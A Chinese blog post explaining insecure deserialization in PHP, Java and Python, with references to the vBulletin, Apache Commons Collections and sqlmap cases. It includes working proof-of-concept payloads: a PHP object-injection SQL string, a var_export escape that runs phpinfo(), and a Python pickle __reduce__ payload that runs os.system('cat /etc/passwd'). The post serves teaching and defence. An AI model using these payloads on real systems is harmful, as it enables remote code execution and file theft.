Java 、PHP、Python的反序列化问题

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

最近关于反序列化的问题很热门,从不久前的vBulletin(PHP)到Apache Commons Collections(Java)再到今天的sqlmap(Python),各个语言的反序列化问题突然从理论研究变成了大把的实例。今天吃晚饭的路上跟同事讨论这个问题,在对Python的序列化/反序列化的理解上出现了分歧,吃完饭回来一测试,直接把我吓尿了。

从序列化和反序列化的名字和用途上看,序列化是为了将一个对象保存、传递并恢复的手段。例如我有一个ORM对象User,其中的各种属性经过一定的逻辑处理后变化了,这时候将其序列化,存储、传递,然后将其反序列化,就可以获得这个已经处理变化过的对象。早年写过Java,这种方法在缓存、SOAP等很多方面用的特别多,非常方便。但是这个过程中需要完整的上下文环境,也就是说反序列化并不能无中生有的生成一个对象实例,在当前的上下文中必须能够找到对应的类定义。并且能恢复的只有对象属性,并不能改变对象的方法。

0x01 JAVA和PHP的反序列化

以PHP为例,上段代码:

<?php
class User {
   public $id;
   public $username;
   public $info;

   public function __wakeup() {
      echo "===========\n";
      echo "我要变形了!\n";
      echo "===========\n";
   }
}

$one = new User();
$one->id = 1;
$one->username = 'xbzbing';
$one->info = '然而并没有';
$save = serialize($one);
var_dump($one);
$another_one = unserialize($save);
var_dump($another_one);
echo "===========\n";
print_r($save);

php序列化/反序列化.png

序列化的结果是:

O:4:"User":3:{s:2:"id";i:1;s:8:"username";s:7:"xbzbing";s:4:"info";s:15:"然而并没有";}

序列化的结果是一个类似BCODE的字符串。按照BCODE的编码规则来看,O:4:"User":3:分别表示类型Object:长度4:值:User,"User":3:{}表示类型:User,长度:3,值{},以此类推。可见序列化结果中只有属性的值,并不包含实现方法。

当我们在一个上下文环境并没有User类autoloader也没有注册该类的情况下反序列化这个字符串,会得到一个__PHP_Incomplete_Class_Name类,包含基本属性但没有任何方法,就像一个数组一样。当存在一个名为User的类,就会尝试将序列化结果中包含的类属性添加进去。其中__wakeup是PHP的魔术方法,在对象被反序列化后执行,名字萌萌的。

那么这样有什么危害呢?

1、当类中有以属性为参数进行敏感操作的时候

例如这样的:

<?php
$payload = new User();
$payload->id = '1 or 1=1';
$payload = serialize($payload);

class User {
   public $id;
   public $username;
   public $info;

   public function __wakeup() {
      echo "===========\n";
      echo "我要变形了!\n";
      echo "===========\n";
   }

   public function getPosts(){
      $sql = "select * from posts where id={$this->id}";
      return Database::getObjects($sql);
   }
}
class Database{
   public static function getObjects($sql){
      echo "$sql\n";
      return [];
   }
}
$user = new User();
$user->id = 1;
$user->getPosts();
$user = unserialize($payload);
$posts = $user->getPosts();

先实例化一个User类,然后通过getPosts方法获取其发表的文章。如果这个反序列化过程可控,那么结果就是这样:

php 反序列化结果.png

是不是非常像二次注入?这个方法就叫做对象注入。。。

这样要求类对象在__wakeup方法或者__destruct或者后续流程能够调用到的方法在实现中存在不安全的操作,这个例子就是在后续的getPosts操作中存在不安全的调用。

漏洞实例 1:

unserialize() 实战之 vBulletin 5.x.x 远程代码执行

vBulletin这个非常有趣,代码在__wakeup和__destruct两个魔术方法上并没有犯错误,而是在后续的操作中存在问题。vBulletin的vB_dB_Result类实现了迭代器接口,使其能够像数组一样被遍历,在遍历的时候将会调用rewind方法,这里写出了一个以对象属性值为函数名,以另一个属性为参数的调用方法,只要修改$this->db->free_result为eval,$this->recordset为payload就能执行任意代码!

public function rewind() {
  if ( $this->recordset ) {
     $this->db->free_result( $this->recordset );
  }
}

这里麻烦一点是vB_dB_Result的db属性是另一个类实例,因此需要构造两个类来完成这个利用。这里也可以看出来,在反序列化的时候PHP会把每个属性的每个类尝试还原。

这里插一下我之前Yii1踩到的坑。

在Yii1中处理富文本的时候,推荐以HTMLPurify来进行安全处理,这本没有错,但是网行流传了很多错误的打开方法,如:http://www.lai18.com/content/319738.html,这种的“在模型中使用”的例子。因为CHTMLPurify其实是个Widget,拥有另一个属性owner,这个是当前controller的实例(当时还没有View),我做的操作是在后台生成一个AR并缓存,在前台取缓存使用。那么这个AR在前台被反序列化的时候会寻找后台的controller。。。这怎么可能找得到,然后就报错了。

漏洞实例 2:

利用Apache Commons Collections实现远程代码执行

这个漏洞影响非常大,可惜被Redis写ssh key那个事件抢了风头,严重被低估了。这是长亭科技的分析,分析非常完整,赞一个。

这个漏洞的根源在ObjectInputStream对数据的反序列化处理上,影响范围应该会更广。Apache Commons Collections的Transformer类的实现中存在问题,在InvokerTransformer更是以反射机制来调用任意函数(跟vBulletin很像嘛),造成了任意代码执行。

总之对于Java和PHP来说,反序列存在风险,一切操作都需要谨慎。

2、当不存在敏感操作时

是不是就没有问题了呢?理论上应该是没有问题了,但是仍然出现了问题。。。茄子牛发过一个反序列化问题,因为序列化的结果是可以自行构造的字符串,那么其实是可以手动生成一个类实例,并利用动态属性的方式恢复一个异常的对象。比如茄子牛给出的POC:

<?php
eval('$b = '.var_export(unserialize('O:8:"DateTime":1:{s:15:"\'=>phpinfo(),//";s:1:"1";}'),true).';');

var_export在导出对象的时候没有处理键值中存在的单引号,导致单引号逃逸,这个问题在PHP 5.3.x版本存在。这个锅到底是var_export还是unserialize的呢?

0x02 Python的序列化问题

Python的序列化就是pickle和cPicke,妈了个蛋的看名字就知道有问题。。。。。对不起没忍住一开始就吐槽了。。。

来瞅瞅Python的序列化/反序列化。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import cPickle


class User(object):
    id = 1
    name = u'路人甲'

user = User()
user.name = u'xbzbing'
user.age = 18
payload = cPickle.dumps(user)

print payload
print "=" * 50

user2 = cPickle.loads(payload)

print "%s,嗯,18岁神马的是不可能的%s" % (user2.name, user2.age)

python 序列化


这样看是正常的序列化,虽然生成的字符串可读性差点,但是还是能看出来不包含方法什么的。

那么python的序列化有没有相关的魔术方法呢?特么还真有,就是传说中的__reduce:

https://docs.python.org/2/library/pickle.html#object.__reduce__

照描述来说,应该是在找不到User类的时候可以用__reduce来实现反序列化,这样就能在不需要User类或者User不能被序列化(如坑爹的multiprocess)的上下文中依然能够反序列化。看描述跟PHP的__wakeup完全不是干一个工作的,那么__reduce到底要怎么写呢?

看文档,如果返回值是一个字符串,那么就将饭序列化结果赋值到这个字符串为名字的变量上,注意这个字符串不是User这个类名,而是user这个实例名,这个地方是用在单例模式上。

那么还有一种情况,返回的是个tuple会怎么样?Tuple第一个元素需要是一个可执行的对象用来初始化被序列化的那个类,第二个元素会作为参数传递给地一个元素。需要注意的是__reduce会完全改变当前类的所有特征,包括属性、方法。

(写到这我突然理解了这个函数的设计意图!原来是想作为工厂在这里重造一个实例!)

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import cPickle


class User(object):
    id = 1
    name = u"路人甲"

    def init(self, a):
        print a

    def __reduce__(self):
        return Person, (self.name, 20)


class Person(object):
    def __init__(self, name, age):
        print u"tuple的参数1:%s" % name
        print u"tuple的参数2:%s" % age
        self.name = name
        self.age = age


user = User()
user.name = u"xbzbing"
user.age = 18
payload = cPickle.dumps(user)

print payload
print "=" * 50

user2 = cPickle.loads(payload)

print u"%s,今年%s岁!" % (user2.name, user2.age)

pickle reduce.png


但是看序列化的结果,直接将callable object Person传进去了!

当反序列话的时候就相当与执行了这段代码!!

但是callable 的对象可不止类啊,如果传个函数进去呢?

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import cPickle
import os


class User(object):
    id = 1
    name = u"路人甲"

    def init(self, a):
        print a

    def __reduce__(self):
        return eval, ("os.system('cat /etc/passwd')",)

user = User()
user.name = u"xbzbing"
user.age = 18
payload = cPickle.dumps(user)

print payload
print "=" * 50

user2 = cPickle.loads(payload)

print u"%s,今年%s岁!" % (user2.name, user2.age)

反序列化任意代码执行


日了狗了。。序列化结果直接就是os.system('command')。。。

这个pickle的__reduce方法完全是eval方法的别名啊。。。。。

这算什么?漏洞后门?要不是刚才想通了设计思路,我真以为这么设计是故意的!

文档给的建议是不要使用pickle模块,至少不要反序列化任何不可信任的数据。不过你如何鉴定数据可信任?看过上面PHP的例子,也知道二次注入吧?我觉得这个模块要么重写要么直接废弃,简直了。。。

漏洞实例:

Sqlmap 命令执行》 

没啥可说的。。。。赤裸裸的命令执行

所有使用了pickle模块的程序,都存在安全隐患,特么我记得django有个中间件用到了啊,我特么还记得celery的信息传递可选pickle啊。。。日了狗了

所以

反序列化的对象注入就像二次注入一样防不胜防,任何反序列化操作都需要小心谨慎,不能信任任何数据,如果只是存属性,完全可以用json嘛,能不用就不要再用序列化了。如果在python项目中使用了反序列化,赶紧去看看代码吧。。。

留言交流

没有评论
点击换图